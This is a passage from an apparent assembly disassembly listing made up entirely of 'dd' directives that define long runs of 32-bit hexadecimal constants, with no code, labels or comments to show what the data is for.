887D9A6Fh, 275B6D40h, 0F0C4FEAFh, 0DDD3DC9h, 95E9A8C6h dd 1786D2B2h, 88B95DB3h, 2D4DCED6h, 565D7E6Ch, 0DC528D41h dd 76501A0Eh, 0EB129636h, 1C0D0B03h, 0ACF46BFFh, 69E1E8DCh dd 93A953F9h, 0E2B7C58Ah, 1587388Bh, 3A9FAD52h, 0FEAFE083h dd 43A141F8h, 0F5A40FCDh, 6CE380E0h, 0AF5F30E5h, 9500B234h dd 131784Eh, 9C7CD664h, 1F484747h, 0E55DC543h, 585A8BBh dd 0EF942AA1h, 69E98F9Fh, 41FD1AF3h, 0B0D1E7FDh, 60631F32h dd 0E079A755h, 14652E5Eh, 8C22542Ah, 2014CA3Eh, 88AC663Bh dd 0D1D9FAD4h, 42F102D8h, 0D09699ADh, 7BFC16AAh, 0A49C9583h dd 2945F77Fh, 0E943605Eh, 925D161h, 6D31713Fh, 0E13ACB0Bh dd 0AC1A3BC3h, 3F0C6715h, 0DD21F123h, 56419C5Bh, 0EC6B0046h dd 69A2C378h, 9D25B9h, 9C92CEBAh, 37905ACEh, 88CEF0F2h dd 41CD53CBh, 0E027342Ch, 6760BC01h, 0D87E2002h, 917D837Bh dd 3057645Ch, 0E1F5ECB1h, 4EE81DA6h, 85E9A2F8h, 681E89Bh dd 0A7AF46A6h, 1E58CDD6h, 55597248h, 0D067BE6Bh, 56222F10h dd 0DE0F9625h, 1C1C296Ah, 0ACD26BFFh, 0FEFF8D7h, 89AF46E5h dd 81B6D8B3h, 65BB3FA0h, 30B6B167h, 83DCF68Ah, 54B848BEh dd 0CAD62BD0h, 7AF38AF1h, 0F8072CC2h, 9536D714h, 1B315B01h dd 8D73DA71h, 6D525C6Fh, 0E378D364h, 66A1AFB1h, 0DB891986h dd 51ED9682h, 2EF512D7h, 9BB4F2DCh, 7C454E36h, 0E355AA54h dd 1C7A286Ch, 8A0D4F1Fh, 222FFB3Ch, 93AC6D33h, 0C8CAC0CEh dd 5CC20EFAh, 0D8A58B90h, 40993EAAh, 0D1919585h, 1068EF4Ch dd 8643665Ch, 91FC652h, 66365E28h, 0FB35A43Ah, 0AD2336F1h dd 2A327A14h, 0F01BD04Ah, 57458F6Dh, 89701A66h, 6E83AF75h dd 297249Fh, 0F5A0CEA5h, 17FE50C1h, 0EDC8D0E3h, 79DC42CDh dd 0E7302831h, 4401A10Bh, 0D87E6313h, 0B2188179h, 5550654Bh dd 0F2D3F0B1h, 449C27C3h, 83EDB3E4h, 2690DE90h, 0ACB340BEh dd 3942E29Eh, 68387256h, 0C7719F60h, 7E241A0Ch, 0C23F8723h dd 320D0904h, 96E07EEAh, 0CD4EEC6h, 89A26AB6h, 0E4B6C5BFh dd 7084049Ah, 10F09E6Ch, 0BFB9E788h, 7EBC62A4h, 0F0CA1ECEh dd 9C183E0h, 0F8182DDFh, 951DB908h, 11354E1Ch, 9C7CD664h dd 3B787206h, 0A261F76Bh, 4980F5ECh, 0CCB24FBEh, 52E0A091h dd 24D312E9h, 0B0E68BD7h, 7C405025h, 0F4799848h, 71493F4Fh dd 0B4035E2Ch, 3032CA27h, 0A8C06200h, 0E0C0D2DFh, 52F1398Eh dd 0EFA49AB1h, 48891FA7h, 0D1A99FAFh, 2FF2A848h, 62765930h dd 2F4DC9E2h, 574045A5h, 0D7245E91h, 1DFB5F92h, 1D0A4530h dd 0A938781Ch, 1B9A6EC1h, 4D836F02h, 152E9D06h, 9AB1DAFAh dd 9D8563E5h, 91903FA2h, 0EE98FF0Bh, 14C227C0h, 0EF170B0Fh dd 79AC4477h, 0E95CB7FDh, 9349B770h, 0B3A1F47Dh, 1AB08FFCh dd 98635F62h, 0F198F964h, 0A6EC7F7Dh, 0F434BA5Fh, 941F83C6h dd 496A1750h, 0B526EB3Eh, 6801BBE9h, 0FC2CB32Ch, 91EB7F00h dd 0CBEE4F96h, 8B3570E2h, 7ECC3388h, 53EB971Eh, 8CFB8B6Bh dd 12A28C0h, 9A1F51C5h, 0F020F8F9h, 0AA5B8441h, 9804A16h dd 71041396h, 6A78D708h, 0FE54419Ah, 9150D5EEh, 6D2C3306h dd 0FB7AA540h, 7728B3DEh, 0A98A4FF2h, 0C2DCB0A7h, 51A6A10Fh dd 2AEDD4AEh, 90E39D7h, 0F9E35626h, 0F985CC7Bh, 6642B6Bh dd 49D5225Eh, 0DEAC1346h, 5EEBC06Bh, 0F711E05Ch, 34D0EFDCh dd 2DD4A949h, 2EC30FEAh, 0C08F64E1h, 0E93031E8h, 546B2CBBh dd 1BB0375Ah, 1E8B3491h, 0C94E9907h, 63D39E66h, 59488763h dd 0DADB0437h, 0B7CAEA99h, 0DD69C306h, 0EE75778Eh, 0F5D482F5h dd 866ECB4Ah, 3F393879h, 94A83794h, 84F2F9Eh, 294987FDh dd 43D38B76h, 69308E5h, 0BD61C871h, 99B09FC2h, 1171D2FBh dd 0C288D791h, 0C2613637h, 98C03FCCh, 0D7DD282h, 0B4C7466Bh dd 0B504D55Ch, 0C6747BE5h, 0BD42D5D3h, 55AA3A6Ah, 0C56C4E9Eh dd 34A08FB2h, 0E687CE37h, 7EB2B7CAh, 0EE2DE63h, 0BA0DF12h dd 0CDF8B32Bh, 0F54B07E0h, 20631DB2h, 990F4CEh, 18AB635Bh dd 0E168CC24h, 757E2B6Ah, 0E37A7C7Fh, 6D35DB5Eh, 0D3A5A72Ah dd 0CC3A71BFh, 0C023BF87h, 2DB3A363h, 491C729Ah, 403DC9A6h dd 19202002h, 0D8DF31D1h, 710847E2h, 8E5667Eh, 4950B4F7h dd 0E2E89EDDh, 0DD3B97AAh, 3A9463AAh, 0B9D04666h, 2510F2C6h dd 85E8E7E8h, 45059F76h, 93B5F032h, 0F64CB308h, 25DCBAA6h dd 9574CA6Ah, 317035D2h, 4D5C1362h, 0B11AD51Ch, 53B10469h dd 0BA007F2Ch, 197B4EDFh, 30F857FBh, 0A4D6C19Fh, 79F83EC8h dd 0BFFCB386h, 2FEAB255h, 0D25B4Eh, 793BBB84h, 0BC080B22h dd 3E4FF71Ah, 57142F9Ah, 0C4F9FC2h, 0D8C6C84h, 854842D3h dd 35F058E8h, 0C9AAFB59h, 0B7BD284h, 1F8282C5h, 304DEB1Eh dd 6F800AA2h, 935A66B9h, 6E5677Ah, 0AFD349DAh, 0FE2DD7F6h dd 0FDCC22B2h, 0EB188471h, 0BE0712FEh, 9A08F52h, 9F8CC3B6h dd 0F829235h, 61257BAEh, 980ED9Ah, 95483769h, 0DE6A4285h dd 8A072B5Eh, 0E92FADB7h, 69FE6E06h, 9B16272Ah, 8E82DAABh dd 0B9F5CB7Fh, 0B09500F6h, 5188770Fh, 836588AEh, 0D9B4CDBDh dd 8C035B29h, 0F507470Ah, 0E5643A6Eh, 3C7A91D2h, 0E32C4546h dd 0A03C98BAh, 0B5946B8Fh, 48A5DFDCh, 7DC2F280h, 0A4AFA9A3h dd 83CB105Ch, 0C26F0E74h, 7D26F2F8h, 0FE0B610Bh, 854BC1FBh dd 184B0682h, 4D839669h, 34C5874Ah, 2534E5A5h, 85686F78h dd 4DECC316h, 6B6DA8A9h, 0C8D4BBF1h, 79903FAEh, 0ED033689h dd 0A04127AAh, 4445B5Eh, 60329F4Ch, 18896C20h, 4218F71Ah dd 699803E8h, 3490CFh, 319C53A6h, 5D7BB2AAh, 0E0EB81C2h dd 0C9C02F5Eh, 7D0C8E7Bh, 5371Ah, 0C0608E69h, 196CD31Dh dd 0D3FD8F33h, 25004795h, 44F56EEAh, 53D08CCCh, 95B90C99h dd 8127F01Ch, 54E7AE1h, 0AEF0DF25h, 5823C104h, 31D83960h dd 0F5F4BB8Dh, 68BFC2h, 0D96C4396h, 8D16A015h, 75304A21h dd 0C60A2ADDh, 0ADB93316h, 581B915Eh, 3A805E57h, 0C1B14FE2h dd 0BD8CE1F6h, 11CE26CBh, 0EAAA1E51h, 8CBD1F52h, 8D0CC8B9h dd 25C1745Ah, 0B4366B2Fh dd 1BD55003h, 5AAC1368h, 3447B3BEh, 358455A8h, 34503C1Ah dd 2DEC66B1h, 0BB2B1EEBh, 0BA05F11Fh, 0ED53F001h, 0BDC9B6C9h dd 0DA6B6D2Eh, 9EC71BE5h, 544C0F81h, 5D41D0D3h, 0BDF20C4Ah dd 0AE24FB3Fh, 89016798h, 3614C016h, 0AA733731h, 81B50D3Dh dd 8C7278A7h, 2A3F9D6Dh, 0DD2374A5h, 0D590D009h, 7820A526h dd 42F30924h, 0D126118Fh, 0FB9802Eh, 1AB08FFCh, 0C2B75F62h dd 368F2E09h, 8DE4D1F9h, 0CA8FA6D2h, 1B63D015h, 7379406Eh dd 0DC59B74Bh, 4A3F0D01h, 0F1089529h, 35060E3Dh, 99F76CF1h dd 1BD2FAF1h, 0ABB84DD3h, 0E8ABC5BFh, 50A82581h, 369CAF7Ah dd 0CDAEF694h, 56BA669Eh, 0CAEC0FDBh, 0B809BE1h, 0C83C4396h dd 91A85808h, 1C2C443Ch, 8B79914Fh, 15D5465h, 0BF51DF4Bh dd 4BC4B7AEh, 89AB0CBBh, 45FF8698h, 34EE00F7h, 90E7DEA4h dd 53593F10h, 0AD529A69h, 361312Ch, 0B06E4E0Ah, 4940AFBAh dd 302D5E56h, 0A1A88917h, 20E3EE48h, 46D0FFF2h, 3DC20D53h dd 0CE0026EAh, 5B6EA76Ah, 0D716BAB9h, 0D115A326h, 2B2D1966h dd 6A4A4A08h, 54532A9Fh, 5D6329DBh, 0B33E0C4Ah, 80425E69h dd 0B1B0EA9Fh, 9863C306h, 61E86F2Ch, 0F922234h, 826E712Eh dd 225EB237h, 30407741h, 6BBA4A5h, 2D68EB0Eh, 0B5E42703h dd 9218F71Ah, 111A4868h, 66B0D38Eh, 1DA2D933h, 8548CC8Ah dd 678E28F3h, 0FB55D081h, 0A22C93E8h, 0B6D084EAh, 5DEB14F0h dd 39507F69h, 0F23FB515h, 15463425h, 3A8457D2h, 799E0527h dd 3B0CBB6h, 81304825h, 0EA0BB418h, 49E2038Fh, 4015A0E6h dd 218AEF4Fh, 0F4F52ABEh, 58D1BFC3h, 1BF9BCC7h, 978C744h dd 75542B45h, 0AB55EC77h, 29120135h, 6E28EB66h, 15FA514Bh dd 0A9EAA7F2h, 4EFBE3F6h, 2FF105EAh, 0D5F5EDDAh, 2BA5E012h dd 41CC318h, 61367D8Fh, 6855347Eh, 5959D2DFh, 9D298A56h dd 0F0B88785h, 0B1EFE71h, 0D143FFF2h, 2DFC73C2h, 0C8625267h dd 0C85D9B0Eh, 0F91F298Fh, 888E4B36h, 0C63EC8A5h, 856AA6EBh dd 5A205F82h, 5D427CC3h, 24C5874Ah, 2534E513h, 886A3B42h dd 75BEC37Ch, 0E1F857F8h, 0CAFE3E31h, 0B9153FB2h, 609EC6DCh dd 1B64727h, 832E095Eh, 370D7AFFh, 0EB586366h, 9349A74Ah dd 6A1A9ED1h, 66E89FD2h, 1DA37533h, 0B60D018Ah, 65E4ABBFh dd 0C9C0233Ah, 127FD4D6h, 130B5C79h, 0F958AF20h, 0B3C58062h dd 3E7CE378h, 51686002h, 2431969Eh, 30A09FAAh, 0C33A9E3Bh dd 0BC30B7CAh, 0FD0BB41Bh, 59F0DF0Eh, 8492DAB1h, 1F9C4284h dd 0A5E837FAh, 370A7A6Dh, 5DE94386h, 0E34D5375h, 1DC72B4Eh dd 0F910BF27h, 7423868Bh, 1C71A73Ah, 15FBC963h, 5CE6A7F2h dd 800F1C09h, 4188488Ch, 0C53084AEh, 98301F40h, 8D1D43CAh dd 7060130Ah, 1A643B7Fh, 597E59C7h, 4D688256h, 0F1B897BBh dd 35FEBF05h, 0AF4500B0h, 0A8FC63F9h, 0DC9DBE2Ah, 45171376h dd 43B5F032h, 964CB308h, 6EE5B4B8h, 9574DB70h, 5CFD76F7h dd 4D4C0D15h, 0B3DD781Ah, 0A024EB01h, 8460D2h, 96ECC317h dd 61735BBAh, 705B9B31h, 798021CDh, 0ACFB3640h, 7BA927BAh dd 0EF45315Eh, 27F53070h, 3E0C7349h, 451708E2h, 55340A4Eh dd 0F2251251h, 679C43B8h, 0EDB959Ah, 75DA456Bh, 0C600AAD2h dd 5D2DC353h, 0AD859A3Ah, 414FB10h, 0C36C976Ah, 39140CB9h dd 0F68676Ah, 0F10DFDB5h, 0FC5FDB96h, 0FDDC1D34h, 9F420A57h dd 14454BFEh, 0A60AC2EAh, 4A491E19h, 5BC817D4h, 0A5B013BEh dd 5AD2EF92h, 0A266D669h, 0A5F5D76Ah, 0E0D93F6Ah, 0F900FDCAh dd 678A3C56h, 850CE3A1h, 7CC3B1Fh, 0E3F24EB8h, 3EC6F1F4h dd 49BC3391h, 14BB6A2Eh, 126117A2h, 720CF762h, 0CC851738h dd 0E5740436h, 4940B3BAh, 0EB822656h, 8196B7C2h, 10AE4BA0h dd 81FEDAC7h, 0D8456BEh, 9BE294CFh, 654AD251h, 7CDF5832h dd 7D5C9D0Ch, 1F4F3DBh, 951ECB6Eh, 262308D2h, 5D6319F3h dd 21C50C4Ah, 4F24EB2Bh, 0E21B8C12h, 0F5BDCEDFh, 61F857FFh dd 0FFB08EE8h, 0EC6F68A2h, 0EDAC8DBCh, 41A4E329h, 822C50B5h dd 0A460CF72h, 0AD12C3CBh, 3E4BA01Ah, 450B01BBh, 0E7701AC2h dd 4529DEF2h, 7288D7B5h, 75F12B5Bh, 444D2FD2h, 5D3CC291h dd 2152D911h, 4A47BD5Fh, 296F79F7h, 0AD847046h, 0DAF94814h dd 8D319660h, 0D9A09F8Dh, 8862D1BBh, 0AB30D7CAh, 740BB414h dd 5013C870h, 26DDE46Bh, 1A078C20h, 0ED19F670h, 0FA80FFADh dd 769BC432h, 748784C3h, 754415B4h, 0EC6702A2h, 193D3316h dd 0E418CF00h, 903BDBDEh, 0A9F07158h, 7CCB5E76h, 3598778Ah dd 0BA314CBFh, 19300F5Ch, 4B1CD326h, 6149008Fh, 0ED8D3B7Eh dd 8EBF50ACh, 0CDB983D3h, 0A1B897BAh, 3156360Eh, 0F6DAF2E2h dd 42931DE6h, 0B787C784h, 236DF73Eh, 0A6002E57h, 1025D716h dd 6E2C173Fh, 0F911A84Eh, 0B8023DE7h, 407D7612h, 9168A740h dd 56BDB1Eh, 0E46D1A61h, 7ACCB173h, 49C259Bh, 0FFD98AA0h dd 1CFC5AF0h, 88D0C7E8h, 68C454D9h, 0F525337Eh, 4840B602h dd 0D82C0718h, 0A27D8762h, 215A6A5Ah, 0EDC3BFEEh, 64F83DC7h dd 0D1B2A0E4h, 32EEB6D3h, 0A1A35BB3h, 7D4BEDBFh, 1547B5Bh dd 956D8A6Ah, 19341103h, 0C51B9A28h, 37484B1Eh, 0A3A469F1h dd 7C5E6C0h, 0B4EC50D2h, 0E8B9C0FAh, 1FF9719Ah, 2B95B755h dd 0BFBDB383h, 5EB127AFh, 0C38457CBh, 67E586E0h, 0BD5330F2h dd 8415B839h, 11D0B6Fh, 0D963D602h, 8515A72h, 0E561870Bh dd 69E4A8F9h, 88853B93h, 712E425Eh, 44930D2Eh, 0C5129F87h dd 71651AF7h, 9E45403Ch, 69ED488Ch, 2708F722h, 73EBF605h dd 0C1608AD4h, 0DE2D4670h, 35946B8Eh, 0B9D0FFE2h, 2DFC73C6h dd 0D1E8E7EAh, 45049B1Eh, 0E9200F32h, 7D4CA336h, 158375Ah dd 9574CB6Eh, 0D9705F82h, 4D5C1366h, 0B148874Ah, 2524FB3Eh dd 89006F12h, 1DECC316h, 61F857FAh, 0F5D4ABCEh, 79903FA2h dd 0EDBCB386h, 11A827AAh, 85445B5Eh, 2960CF72h, 5A9E016h dd 0C118E758h, 1788AEADh, 96B09FD2h, 80881011h, 4687DFD9h dd 0B5E7BDB5h, 0EDE46B59h, 2F20C1FDh, 297A2C23h, 0F79FFF7Dh dd 35125476h, 0EFC466CFh, 0D4E1677Ah, 0C5945922h, 0AB238A59h dd 9C15C19Eh, 9D8B318h, 5D0146Bh, 59943702h, 0EDB493E6h dd 0BCC807CAh, 0B587F73Bh, 11B9B692h, 5DEF4FE2h, 1E8F357Eh dd 6516BFCBh, 20E77C22h, 4963BE05h, 81CBA73Ah, 8A38AB21h dd 0AD08CCF2h, 0A0051514h, 41885416h, 0A1B4B12Dh, 1A023447h dd 0C391C354h, 2F531FF6h, 916401FDh, 0A2725056h, 0CDDEFC55h dd 5E47C052h, 1E5A4071h, 0A992436Fh, 66FF2BC6h, 546724DEh dd 4514D986h, 0ABB48AF5h, 7D4CA326h, 3DB0375Ah, 1E74CB6Eh dd 0C932CB07h, 0BBF5FB66h, 0A9A078B5h, 0A624FB3Eh, 9942FBAFh dd 1599C316h, 45F0CA73h, 693FABDEh, 3B04B25Dh, 627FB396h dd 1EABF2Fh, 11D1D25Eh, 0C160DF30h, 0BD0C6375h, 4ADB3E29h dd 55348BBDh, 7458CDC2h, 0E63AC58h, 0E1CA7B1Fh, 0E632B8FEh dd 0C6C023A8h, 5D2D8452h, 3142943Ah, 4890E40Eh, 0B2507F62h dd 452CFF04h, 0AE9799A2h, 87389E9Dh, 0AFA38FA2h, 7DC4A9E6h dd 98ACB723h, 61DAB26Eh, 0A81B9F01h, 4CDDDB6Dh, 0EE17D82Bh dd 0E15DFA61h, 7C80A3DEh, 55471A7Ah, 0EE822EF9h, 75549CC1h dd 8191D922h, 620E00F8h, 91280CAFh, 3F478DDEh, 22E53AF2h dd 3F67F3BCh, 0B09B7D11h, 2BC663FFh, 0AC33E0BDh, 8D0C919Ah dd 9C8C2A7h, 61E03485h dd 0B640AF52h, 0CDEEBFE3h, 0F450C7BAh, 366B9470h, 0A9924367h dd 9179FCC6h, 0D2E8F7A8h, 0C657BF1Ah, 32130DF2h, 9E441539h dd 2191B748h, 0B1500A3Dh, 0FD6C7686h, 16781F4Fh, 30A16C0Ah dd 9EF3F4C5h, 83E1BCFh, 73A96BEDh, 0E0CE2321h, 54EFF235h dd 0F8BE4B5Dh, 589E657Dh, 908E5306h, 0DDADC8A5h, 0A87EBB81h dd 0E5E51E8Dh, 400E83E9h, 700B4DD5h, 18BEEB23h, 28A3635Dh dd 0E8EB36Bh, 75A6236Bh, 0B82974D2h, 3D37C29h, 0C82CD5B9h dd 4AEB15E1h, 3D3A7DA1h, 58351B1Eh, 0C4E09895h, 0C5943DA7h dd 719137D4h, 190CC1B4h, 0E73AB5D9h, 4DF22145h, 0A605F1EAh dd 0C51E1019h, 34A2D64Dh, 508593E6h, 0F300106Dh, 2D673095h dd 0D8FDD52Ah, 0DF543B68h, 917A98C9h, 97BC995Eh, 2130D229h dd 0F0C533CFh, 0A858B00Dh, 0B98CE3F6h, 90950348h, 3E7E754Eh dd 0A135F4B4h, 0D1CD326h, 0B2B7A5A1h, 0DCF4AEF3h, 9E6BAF42h dd 2A6FD9A1h, 0B181133Fh, 35946B8Eh, 7945F0EAh, 0DBF79307h dd 0C1D1656Fh, 43719A1Eh, 0CCA90254h, 0F8BAB0DDh, 1480ED8h dd 0F372BE6Ch, 32556E8Fh, 4C517562h, 59E3E16Fh, 0DADB0482h dd 342C99h, 0DAE6F83h, 963BFCFAh, 0E5ED2F4Bh, 79903FA2h dd 2D29BC8Eh, 0F9029BAEh, 7ABBA4C2h, 6BD05AFBh, 38FA6366h dd 0C108CE98h, 5A307E2Fh, 0B2B274F3h, 0FA5FF866h, 0E1B1430Fh dd 65E4BBFEh, 43E75BDAh, 4D15FD53h, 2AD8D63Ah, 0F09FE668h dd 0C1E0D404h, 0D3F979ECh, 90687753h, 0A281007Eh, 0C2A606D6h dd 56AAE385h, 0E560A531h, 0BEF44E61h, 608E5A88h, 95D893F6h dd 9AD0E70Bh, 3121BD7Dh, 80FFB5h, 61DC667Dh, 591EF791h dd 0DE322BA5h, 0FD7AA6C9h, 9935DB5Eh, 95A558D5h, 0D241A0Ch dd 69694A94h, 3E674890h, 2B32E72Ah, 255CD3BBh, 99CFE0B1h dd 9D3B47A3h, 8B88410Ah, 614B4876h, 0B783DB80h, 236F779Ch dd 5F7FE370h, 0CB4D1F44h, 47DC8B28h, 0D3F3070Ch, 61E79320h dd 0F5CF70E7h, 3290A5B5h, 88FC67DDh, 0F9E8F7B1h, 62B77785h dd 0C949DB07h, 4D7C1366h, 0C4CE374Ah, 0A820FF3Ch, 2C8A915Dh dd 1DFCFA6Ah, 9D78FC9Ch, 45D3DECBh, 86DFBFA2h, 8F5419C6h dd 0E657D855h, 957DDFDBh, 2920CF72h, 0DBB40576h, 751A822Bh dd 0E59F6D07h, 0E73595DAh, 0CD9C439Fh, 1922C46Ah, 9A1B44C3h dd 4C37A762h, 5D3CBA52h, 2138973Ah, 33A4E97Bh, 2CDAE8h dd 61AF356h, 246D9BEAh, 4584AB99h, 0C3E070FDh, 6D71AE75h dd 69D8A7E3h, 0EA0BB4E3h, 60745AF5h, 0CDDC93F6h, 32BC17CAh dd 520E1B0Eh, 19B96B17h, 9D6C4396h, 597FA372h, 75B8A01Bh dd 7CE7F089h, 6D2C0A82h, 9028A729h, 5345FD1h, 41504FF2h dd 8005485Ch, 41883506h, 2A4A4746h, 0B3D8AFBDh, 2DA15A8Dh dd 99085748h, 1A9BC5C3h, 70C42AA5h, 0DDAF0346h, 0BBCC97BAh dd 0C10EE79h, 0B9D0FFF2h, 278872C6h, 2E16C902h, 0BB9F73E1h dd 90F0CDh, 0F8C7089Ch, 14875C6h, 5D5F04E5h, 9BD4E20Bh dd 5D51376h, 0D52F3FB6h, 168FCDC1h, 7EAB09D2h, 0DD54793h dd 61F854FAh, 3C7DFCEh, 69A9BD27h, 0E7C83386h, 0EE558D42h dd 7B1FB3A1h, 4ED8308Dh, 162AEA12h, 6A7E3729h, 6CB08ED9h dd 99B39FD2h, 57E853A6h, 0C80A427Ch, 1064BBEEh, 3441C7D8h dd 6FC47C29h, 0C9C7E8C4h, 4AEB160Ch, 2DB85FD2h, 4E830CBDh dd 0AED00153h, 542F7D8Bh, 0ED350419h, 0ACC338Fh, 821A4008h dd 60F44BEEh, 0A52C3716h, 0D26C6C19h, 0CE32E922h, 5A1C1D41h dd 982B8987h, 16A3C83Dh, 0F13A73FFh, 0FC9C004Eh, 7CE7436Ah dd 6D2C0A82h, 9128A729h, 8033E3AAh, 0A9F07676h, 3B8CE3F6h dd 0C46F5BEEh, 0D5A4B22Ah, 18301F42h, 4FF4D953h, 99F7B8F7h dd 1A9BC635h, 70C42AA5h, 0DDAC0346h, 0ABCC93BAh, 0CA69C766h dd 44B1171Dh, 0A80B8C39h, 0D1F8DE6Eh, 45049B1Ah, 7FC81846h dd 0C5B35CCBh, 0C9A6F773h, 557C73C5h, 61DB5BF6h, 2AB7EB13h dd 4C376FE1h, 0A0D304C1h, 89105696h, 1DECC31Eh, 0DC78258Fh dd 0F5C4924Ch, 91F94BA2h, 12434EE3h, 38B00E12h, 0FBE15197h dd 0E960DF4Bh, 18066092h, 0C108CE64h, 0A87FE385h, 2800603Dh dd 8F19D90Ch, 5B88D7B3h, 9A198716h, 4C76202Dh, 5D3CBAA8h dd 25F813B7h, 0BDF42A4Eh, 9236F2D2h, 0FAD6F2F6h, 0AE954782h dd 0E1B83261h, 924237D4h, 7949D4EFh, 91D8A7E3h, 61F44BEEh dd 0F3B96F05h, 37A92B80h, 9AAEE6C8h, 5A588756h, 0A3685F6Dh dd 14C783A5h, 0F13A5FC7h, 0F1D1DC4Eh, 0D910AF1Bh, 183C3306h dd 4FC0F03Dh, 5F3B2422h, 0F1508079h, 0B88629DDh, 41884EE6h dd 7F48C127h, 0E6CCD7AAh, 0CA4B5D9h, 0F58DB0CAh, 0A5642B47h dd 3D40AF52h, 0F5688355h, 98C432B0h, 9EF26B9Eh, 0FB5C426Bh dd 0DA5773D6h, 0C1D1636Fh, 45049B1Eh, 59297A72h, 1C9A166h dd 0AB582763h, 0ACF04E99h, 0D9F05F92h, 46291366h, 34423FFAh dd 2534C243h, 0EF3D84B8h, 0EAF4F2AEh, 71C1D37Fh, 0F5D5ABCEh dd 0C9924BA2h, 9019B9AFh, 0D1A83793h, 204E58BAh, 2970F60Fh dd 56AC810h, 44EF079Bh, 552432AAh, 99B09DC2h, 0C52851D3h dd 0C8F56280h, 0CE82BBEEh, 8B68925Bh, 0CD9483C6h, 8A381713h dd 8C906EF9h, 39587F72h, 0DC08F346h, 0AE944782h, 4101EC61h dd 69A09F8Bh, 88CC23B2h, 8B6007D1h, 5CD356Bh, 141B7502h dd 0F4581611h, 39C807DAh, 0B4D17BBEh, 0E90357F4h, 0A412E69Ch dd 4A1ED76Ah, 9EFEEB7Dh, 0D0A8D937h, 1399391Eh, 5128B713h dd 0A0CED83Ah, 0A9F0768Ch, 0B87B4890h, 41884E1Eh, 0D5B49BAEh dd 0D9B1A724h, 499CD052h, 0FAD4D02h, 83642B47h, 0CCF6A0F9h dd 0DDBC3AD4h, 5A177F11h, 0B0639471h, 0B9C0C666h, 6DFC73C6h dd 8158E99Eh, 7C781E1Ch, 18A0F22h, 82B358A3h, 88A678D7h dd 85365BE3h, 5DF5A882h, 4D5C035Fh, 0C5C8874Ah, 8FCC4B32h dd 3DBDE6B9h, 0F6ECD354h, 9A19BFFFh, 9F3C5431h, 8E6FC059h dd 0FD853703h, 10A827AAh, 354F2E5Eh, 55E5C532h, 170C734Fh dd 797EF8F1h, 0F03ECBADh, 99A0A6BEh, 0C2CF8C0h, 750D3020h dd 65E4ABC7h, 0BCC02DD2h, 0D9A974F9h, 21380703h, 0C014EF0Eh dd 3390CF78h, 0BD458DC3h, 0D2CDED6Ah, 4840BA7h, 0D1C69F52h dd 4D67A2D0h, 31D05CDAh, 6B7141AEh, 0F3F0CF3Bh, 0F4581611h dd 31C807DAh, 0B5D17BB6h, 0E10357F4h, 0A411E69Ch, 4A1ED76Ah dd 7DBF2AFEh, 7C1AF792h, 6D2C0A7Bh, 6BF74F80h, 80332421h dd 0A9F07676h, 3D9CE3F6h, 64ED022Bh, 2D3733C8h, 204DBA48h dd 267AD336h, 58A28739h, 0F526ABC3h, 0CDC55852h, 0DDAC136Fh dd 0D4B8B7BAh, 0DEE3DA91h, 0B06899F9h, 505979DEh, 11E8F7D3h dd 0E00E98FAh, 0E930364Fh, 0C0650850h, 14875CAh, 30FE0AE4h dd 0D9601D12h, 15ECB800h, 88340248h, 0CD8EFB2Eh, 76FF956Bh dd 246846E1h, 61FB57EAh, 0D9A0AACEh, 4014BA55h, 0EDBCB396h dd 31DD23AAh, 0BCC0DEA9h, 2960CF62h, 0B7796076h, 3EE129F2h dd 0AF7FE3D1h, 9958603Dh, 0E563AC5Ch, 0E773DCBh, 5C603E09h dd 0C9C02FC2h, 55588BD6h, 0C992DE8Ah, 4AEB1123h, 0D4FA95h dd 0AD7CF356h, 7B1C776Ah, 40AE1C2Eh, 69B0B6CEh, 0F0D6C377h dd 81FCBF53h, 2C88EEECh, 0BD30DF12h, 0C91813E5h, 0C837EF61h dd 0C4148441h, 0F0770738h, 250ABC69h, 44723785h, 75441232h dd 1FF81444h, 9AC3CCFFh, 811123AFh, 5C4FBDEh, 22A43BF2h dd 0B5016831h, 6A9867D8h, 29F5026Fh, 9C3A47F2h, 8D0CEA5Ah dd 88B7AFA0h, 6093C481h dd 495096D6h, 0DDEC0356h, 19DE9BCEh, 0B09EA8DEh, 0B9C0C69Eh dd 959A792Dh, 74E20715h, 4514A262h, 7FC8A454h, 8AB35CCFh dd 1161B3DFh, 9574C86Eh, 522F2B83h, 0EDD998A9h, 9A489708h dd 0D96C72F6h, 0CF7A621h, 1DFCFA92h, 617857FAh, 7059A5BBh dd 798006DEh, 6DFCBB0Ch, 0E9DB2453h, 0C1895FD3h, 0E860DF56h dd 36BC6B96h, 0A71E14B1h, 33F43A96h, 1608F969h, 0D243B26h dd 108AC78Ah, 0CEBC1098h, 0CFB5E657h, 9D1D3BB0h, 0E288BC5Ch dd 4C3F03A4h, 0BCA7809Dh, 0AD6CCAC2h, 0D168676Ah, 0A0F01EAh dd 2B140A39h, 35E723A6h, 6924FF53h, 0EA0BB291h, 0B15A1CB2h dd 32236AE3h, 8588247h, 20537BAEh, 990D616h, 0BD6C4396h dd 0CA2FD10Fh, 6CBF73B6h, 0D238ECA9h, 0E6EC18FEh, 816A0FA7h dd 8D51DADEh, 0A8E05FB0h, 19C868CFh, 2925FE9Eh, 5EB49BBEh dd 97293FFh, 599F826h, 86085748h, 0F55DBFFBh, 4940EF52h dd 2AAE7756h, 0A57A3C62h, 0B6C33D8Eh, 0A9923B5Fh, 0A9F373C6h dd 0D1E8E633h, 450496F6h, 0BB654432h, 4E00E678h, 4D1C1968h dd 8BCB22h, 0D96061F0h, 0F8496EFh, 3A1B875Ah, 0FD27C766h dd 2281CEDh, 404F755h, 0EA07A80Fh, 0E596135Bh, 3B9364A2h dd 31393A8Ah, 12A837E8h, 0CD531Ch, 29708D92h, 422410FDh dd 0C11877A9h, 0A1C6E32Eh, 243B603Dh, 0D8C111Eh, 56E2FDCh dd 0F06F4401h, 0C9D06D6Ah, 5E24C95Dh, 0EF131B70h, 0BA11028Dh dd 39511FEAh, 0F7F8FC46h, 5268676Bh, 0D5C6A72Bh, 11158CB2h dd 51CC33F4h, 4D75FE6h, 15F44B4Ch, 72F4998Fh, 0DD9EEB63h dd 61CE04CAh, 5A50D856h, 0B13D6C6Dh, 9D6C53D4h, 0A643DC0Fh dd 6ED72442h, 1210BF23h, 0D5A90A0Ah, 9E28B768h, 5C5D65Bh dd 0D1654CF2h, 5B8CF3B4h, 64674F1Bh, 0D5480EA1h, 59BB1F42h dd 0B95FF824h, 856EAF5Ah, 585DC481h, 4950EDEAh, 0DD488659h dd 24BB97BAh, 35842932h, 0FBA87AE1h, 2D7773D6h, 0DEE4A0C1h dd 4504569Ch, 0E1673432h, 7D882039h, 0C1DB375Ah, 